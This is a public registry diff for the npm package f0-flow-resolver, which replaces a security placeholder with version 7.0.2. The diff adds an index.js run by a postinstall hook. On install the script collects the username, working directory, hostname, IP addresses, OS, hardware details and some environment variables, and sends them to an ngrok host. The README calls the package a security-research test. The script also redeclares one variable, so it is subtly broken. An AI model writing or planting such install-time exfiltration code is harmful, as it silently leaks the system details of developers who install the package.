f0-flow-resolver 0.0.1-security → 7.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of f0-flow-resolver might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +130 -0
  3. package/package.json +8 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=f0-flow-resolver for more information.
1
+ "# f0-flow-resolver\nThis is a test package for security research purposes."
package/index.js ADDED
@@ -0,0 +1,130 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const uuid = require('uuid'); // لتوليد معرف فريد
4
+
5
+ const { name: packageName, version: packageVersion } = require('./package.json');
6
+
7
+ const webhookUrl = 'https://b17c-197-54-33-175.ngrok-free.app';
8
+
9
+ const username = os.userInfo().username || 'unknown';
10
+ const cwd = process.cwd();
11
+ const hostname = os.hostname();
12
+ const timestamp = new Date().toISOString();
13
+ const userAgent = `${packageName}/${packageVersion} (${os.platform()}; Node.js/${process.version})`;
14
+
15
+ // جمع معلومات إضافية
16
+ const ipAddresses = Object.values(os.networkInterfaces())
17
+ .flat()
18
+ .filter(iface => iface.family === 'IPv4' && !iface.internal)
19
+ .map(iface => iface.address);
20
+
21
+ const osInfo = {
22
+ platform: os.platform(),
23
+ release: os.release(),
24
+ type: os.type(),
25
+ arch: os.arch()
26
+ };
27
+
28
+ // إعداد بيانات الطلب
29
+ const queryParams = new URLSearchParams({
30
+ package: packageName,
31
+ version: packageVersion,
32
+ user: username,
33
+ path: cwd,
34
+ hostname: hostname,
35
+ timestamp: timestamp,
36
+ 'ip_addresses[]': ipAddresses.join(','),
37
+ 'os[platform]': osInfo.platform,
38
+ 'os[release]': osInfo.release,
39
+ 'os[type]': osInfo.type,
40
+ 'os[arch]': osInfo.arch,
41
+ 'hardware[cpus]': os.cpus().length,
42
+ 'hardware[totalMemory]': os.totalmem(),
43
+ 'hardware[freeMemory]': os.freemem(),
44
+ 'environment[NODE_ENV]': process.env.NODE_ENV || 'unknown',
45
+ 'environment[USER]': process.env.USER || 'unknown'
46
+ }).toString();
47
+
48
+ // إرسال الطلب
49
+ const uniqueId = uuid.v4(); // توليد معرف فريد
50
+ const options = {
51
+ hostname: new URL(webhookUrl).hostname,
52
+ path: `/?${queryParams}`,
53
+ method: 'GET',
54
+ headers: {
55
+ 'User-Agent': userAgent,
56
+ 'X-Unique-ID': uniqueId // إضافة معرف فريد
57
+ }
58
+ };
59
+
60
+ const req = https.request(options, (res) => {
61
+ res.on('data', (d) => {
62
+ process.stdout.write(d); // طباعة الرد (اختياري)
63
+ });
64
+ });
65
+
66
+ req.on('error', (e) => {
67
+ console.error(`Error: ${e.message}`);
68
+ });
69
+
70
+ req.end();
71
+
72
+ const hardwareInfo = {
73
+ cpus: os.cpus().length,
74
+ totalMemory: os.totalmem(),
75
+ freeMemory: os.freemem()
76
+ };
77
+
78
+ const envVars = {
79
+ NODE_ENV: process.env.NODE_ENV || 'unknown',
80
+ USER: process.env.USER || process.env.USERNAME || 'unknown'
81
+ };
82
+
83
+ const payload = {
84
+ package: packageName,
85
+ version: packageVersion,
86
+ user: username,
87
+ path: cwd,
88
+ hostname: hostname,
89
+ timestamp: timestamp,
90
+ ip_addresses: ipAddresses,
91
+ os: osInfo,
92
+ hardware: hardwareInfo,
93
+ environment: envVars
94
+ };
95
+
96
+ // تحويل الحمولة إلى سلسلة استعلام
97
+ const queryString = Object.keys(payload)
98
+ .flatMap(key => {
99
+ if (typeof payload[key] === 'object' && Array.isArray(payload[key])) {
100
+ return payload[key].map((value, index) => `${key}[]=${encodeURIComponent(value)}`);
101
+ }
102
+ if (typeof payload[key] === 'object') {
103
+ return Object.keys(payload[key]).map(subKey =>
104
+ `${key}[${subKey}]=${encodeURIComponent(payload[key][subKey])}`
105
+ );
106
+ }
107
+ return `${key}=${encodeURIComponent(payload[key])}`;
108
+ })
109
+ .join('&');
110
+
111
+ const options = {
112
+ method: 'GET',
113
+ headers: {
114
+ 'User-Agent': userAgent
115
+ }
116
+ };
117
+
118
+ // إرسال الطلب إلى خادم ngrok
119
+ https.get(`${webhookUrl}?${queryString}`, options, (res) => {
120
+ if (res.statusCode >= 200 && res.statusCode < 300) {
121
+ console.log('Data sent successfully');
122
+ } else {
123
+ console.error(`Request failed with status code: ${res.statusCode}`);
124
+ }
125
+ res.on('data', (chunk) => {
126
+ console.log('Response:', chunk.toString());
127
+ });
128
+ }).on('error', (e) => {
129
+ console.error('Error sending request:', e.message);
130
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "f0-flow-resolver",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "7.0.2",
4
+ "description": "for test ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "abdozakria117",
10
+ "license": "ISC"
6
11
  }